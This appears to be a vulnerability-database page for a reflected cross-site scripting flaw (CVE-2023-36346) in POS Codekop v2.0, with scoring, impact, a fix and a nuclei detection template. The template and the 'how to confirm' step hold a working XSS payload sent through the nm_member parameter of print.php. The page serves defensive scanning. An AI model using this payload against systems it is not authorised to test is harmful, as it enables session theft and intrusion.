HexBrain

Browse / CVEs / CVE-2023-36346

CVE-2023-36346· codekop / codekop· CWE-79

POS Codekop v2.0 - Cross Site Scripting

mediumseverity
6.1CVSS score
5.3%likelihood of exploitation, next 30 days
93%of all CVEs are less likely
Readycheck to confirm it

POS Codekop v2.0 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the nm_member parameter at print.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/print.php?nm_member=<script>alert(document.location)</script>
Positive when: contains "<script>alert(document.location)</script>" and "<title>print</title>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-36346 -u <target>

The full check
id: CVE-2023-36346

info:
  name: POS Codekop v2.0 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    POS Codekop v2.0 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the nm_member parameter at print.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://yuyudhn.github.io/pos-codekop-vulnerability/
    - https://www.youtube.com/watch?v=bbbA-q1syrA
    - https://nvd.nist.gov/vuln/detail/CVE-2023-36346
    - http://packetstormsecurity.com/files/173280/Sales-Of-Cashier-Goods-1.0-Cross-Site-Scripting.html
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-36346
    cwe-id: CWE-79
    epss-score: 0.05252
    epss-percentile: 0.92607
    cpe: cpe:2.3:a:codekop:codekop:2.0:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: codekop
    product: codekop
  tags: cve2023,cve,packetstorm,xss,pos,codekop,unauth,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/print.php?nm_member=<script>alert(document.location)</script>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.location)</script>"
          - "<title>print</title>"
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from